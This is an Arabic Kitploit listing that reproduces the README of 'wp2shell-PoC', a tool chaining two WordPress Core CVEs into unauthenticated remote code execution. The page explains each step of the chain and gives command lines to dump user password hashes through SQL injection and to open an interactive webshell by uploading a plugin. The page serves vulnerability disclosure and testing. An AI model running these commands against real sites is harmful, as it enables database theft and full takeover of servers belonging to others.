Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/arvindear/wp2shell-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubarvindear/wp2shell-poc

wp2shell-PoC

CVE-2026-63030 و CVE-2026-60137 سلسلة RCE إثبات المفهوم

77291منذ 10س 36دلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wp2shell-PoC

⚠ هذه الأداة مُنشأة لغرض تعليمي أو لأغراض مكافآت الثغرات فقط. يُحظر تمامًا الاستخدام غير المصرح به خارج البيئات المُتحكَّم بها.

نظرة عامة

إثبات مفهوم لسلسلة ثغرات wp2shell التي تؤثر على WordPress Core، وتجمع بين CVE-2026-63030 وCVE-2026-60137. يوضح المشروع التفاعل بين ثغرة الخلط في مسار REST API Batch وثغرة حقن SQL في WP_Query، مما يؤدي إلى مسار غير مُصادَق للسيطرة الكاملة على WordPress وتنفيذ التعليمات البرمجية عن بُعد (RCE).

اقرأ التنبيه الكامل هنا

كيف تعمل

wp2shell هي سلسلة RCE قبل المصادقة في نواة WordPress، تجمع بين CVE-2026-63030 (الخلط في المسار في نقطة نهاية batch REST) وCVE-2026-60137 (حقن SQL في WP_Query).

الخلط في المسار: تعالج /wp-json/batch/v1 عدة طلبات فرعية عبر مصفوفتي $matches و$validation المتوازيتين والمفهرستين حسب الموضع. يُضاف طلب فرعي بمسار مشوّه (مثل http://:) إلى $validation ولكن ليس إلى بسبب عبارة ، مما يؤدي إلى عدم تزامن المصفوفتين. تُرسَل الطلبات اللاحقة تحت المعالج المخصص للطلب ، متجاوزةً التحقق من المخطط وفحوصات الأذونات.

$matches
continue
التالي

حقن SQL: يستغل استدعاءان متداخلان لـ batch هذا. يتجاوز الـ batch الخارجي قائمة الأساليب المسموح بها (التي تحظر GET عادةً). يوصّل الـ batch الداخلي سلسلة author_exclude قياسية إلى GET /wp/v2/posts - يوجّهها عدم التزامن متجاوزةً التحقق، ويُدرج WP_Query السلسلة غير المُعقَّمة مباشرةً في SQL، مما ينتج حقنًا أعمى قائمًا على UNION.

تسميم الذاكرة المؤقتة: يُرجع حقن SQL كائنات WP_Post مُزوَّرة، تخزّنها WordPress في الذاكرة. تحتوي هذه المقالات المزيفة على شيفرات [embed] القصيرة التي تجعل WordPress ينشئ صفوف قاعدة بيانات oembed_cache حقيقية من المراجع المزيفة.

تصعيد Changeset: باستخدام حقن SQL، يزوّر المهاجم مقالة customize_changeset في الذاكرة مع "user_id": 1 في JSON الخاص بها. تُشغّل أداة كشف الدورات wp_update_post() دون الكتابة فوق post_content، مما يحافظ على حمولة المهاجم. يؤدي تطبيق الـ changeset إلى افتراض هوية المسؤول مؤقتًا.

إعادة دخول الخطاف: تُشغّل مقالة مُصنَّعة بحالة parse ونوع request الخطاف parse_request، معيدةً تشغيل طلب الـ batch بالكامل بدور المسؤول المفترض. هذه المرة، ينجح طلب فرعي POST /wp/v2/users، مما ينشئ حساب مسؤول جديد.

تنفيذ التعليمات البرمجية: يسجّل المهاجم الدخول كمسؤول مُنشأ ويرفع إضافة خبيثة لتشغيل أوامر عشوائية.

الإصدارات المتأثرة

الإصدارالحالة
WordPress 6.9.0 – 6.9.4مُعرَّض للثغرة
WordPress 7.0.0 – 7.0.1مُعرَّض للثغرة
WordPress 6.9.5مُصلَّح
WordPress 7.0.2+مُصلَّح

الاستخدام

لاستخدام هذا PoC، المتطلب الوحيد هو Python 3.8+.

شغّله من دليل المستودع لإجراء فحص الثغرة:

root@kitploit:~
wp2shell.py http://victim.com

وضع الفحص (الافتراضي)

يُجري فحصًا واحدًا للثغرة. يرسل مسبار علامة batch حميد يكتشف خطأ الخلط في المسار دون تنفيذ حمولات SQLi. يُرجع الهدف المُعرَّض HTTP 207 مع نمط الخطأ parse_path_failed وblock_cannot_read وrest_batch_not_allowed.

استخدم --confirm-sqli لإرسال حمولة تأكيد SQLi نشطة أيضًا. يحاول التأكيد انعكاس UNION أولاً، ثم يتراجع إلى مسابر قائمة على التوقيت.

فحص هدف واحد (الوضع الافتراضي)

root@kitploit:~
wp2shell.py http://target.com

الفحص مع وضع صريح

root@kitploit:~
Check with explicit mode
wp2shell.py http://target.com --check

الفحص مع تأكيد SQLi

root@kitploit:~
wp2shell.py http://target.com --check --confirm-sqli

وضع القراءة - استخراج البيانات عبر حقن SQL

يستخرج البيانات من قاعدة البيانات باستخدام حقن SQL قبل المصادقة. يستخدم افتراضيًا --technique auto، الذي يحاول الأساليب المتاحة بهذا الترتيب:

  • union - يزوّر صف WP_Post مزيفًا عبر UNION ويقرأ عنوانه من استجابة REST كـ ||HEX(value)||. طلب واحد لكل قيمة. الأسرع.
  • error - يستخدم EXTRACTVALUE/UPDATEXML لتسريب ~15 بايت لكل طلب. يعمل عندما يعكس الهدف أخطاء MySQL (مثل WP_DEBUG_DISPLAY مُفعَّل).
  • blind - بحث ثنائي منطقي، ~8 طلبات لكل حرف. يقرأ ترويسة X-WP-Total كإشارة صحيح/خطأ. يعمل حتى عندما لا تُعكَس أي بيانات.

افرض أسلوبًا محددًا باستخدام --technique union|error|blind. مسارات القراءة هذه للقراءة فقط ولا تكتب في قاعدة البيانات.

بصمة الخادم (الاستعلام الافتراضي)

root@kitploit:~
wp2shell.py http://target.com --read

استخراج أسماء الدخول وتجزئات كلمات المرور

root@kitploit:~
wp2shell.py http://target.com --read --preset users

استعلام SQL مخصص

root@kitploit:~
wp2shell.py http://target.com --read --query "SELECT @@version"

فرض أسلوب blind

root@kitploit:~
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"

الاستخراج بأسلوب قائم على الأخطاء

root@kitploit:~
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"

وضع Shell

ينفّذ أوامر على الخادم الهدف. يعمل في وضعين:

مع بيانات الاعتماد (يسجّل الدخول كمسؤول موجود ويرفع إضافة shell):

تنفيذ أمر محدد

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id

shell تفاعلي

root@kitploit:~
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):

تنفيذ أمر واحد

root@kitploit:~
wp2shell.py http://target.com --shell --cmd id

shell تفاعلي

root@kitploit:~
wp2shell.py http://target.com --shell --interactive

يُرفع webshell الإضافة بمسار عشوائي ورمز لكل تشغيل. يُزال webshell المرفوع تلقائيًا. عندما ينشئ جسر ما قبل المصادقة مسؤولاً، يُزال ذلك الحساب المُنشأ تلقائيًا بعد انتهاء جلسة shell.

قائمة جميع الأعلام:

العلمالوصف
--checkتشغيل فحص الثغرة (الوضع الافتراضي إذا لم يُحدَّد وضع آخر)
--readاستخراج البيانات عبر حقن SQL
--shellتنفيذ أوامر على الخادم
--queryاستعلام SQL مخصص لوضع القراءة
--presetإعداد استعلام مسبق (users، config، versions)
--techniqueأسلوب استخراج SQLi: union، error، blind، أو auto (افتراضي)
--confirm-sqliإرسال حمولة تأكيد SQLi بعد الفحص
--cmdالأمر المراد تنفيذه في وضع shell (افتراضي: id)
--interactive, -iوضع shell التفاعلي
--userاسم مستخدم المسؤول لـ shell المُصادَق
--passwordكلمة مرور المسؤول لـ shell المُصادَق
--proxyوكيل HTTP/HTTPS (مثل http://127.0.0.1:8080)
--timeoutمهلة الطلب بالثواني (افتراضي: 30)
--verbose, -vإخراج مطوّل

المراجع:

  1. https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/
  2. https://www.picussecurity.com/resource/blog/cve-2026-63030-and-cve-2026-60137-wp2shell-wordpress-rce-explained

إخلاء المسؤولية

هذه الأداة مُنشأة لغرض تعليمي أو لأغراض مكافآت الثغرات فقط. يُحظر تمامًا الاستخدام غير المصرح به خارج البيئات المُتحكَّم بها.

تنزيل الأداة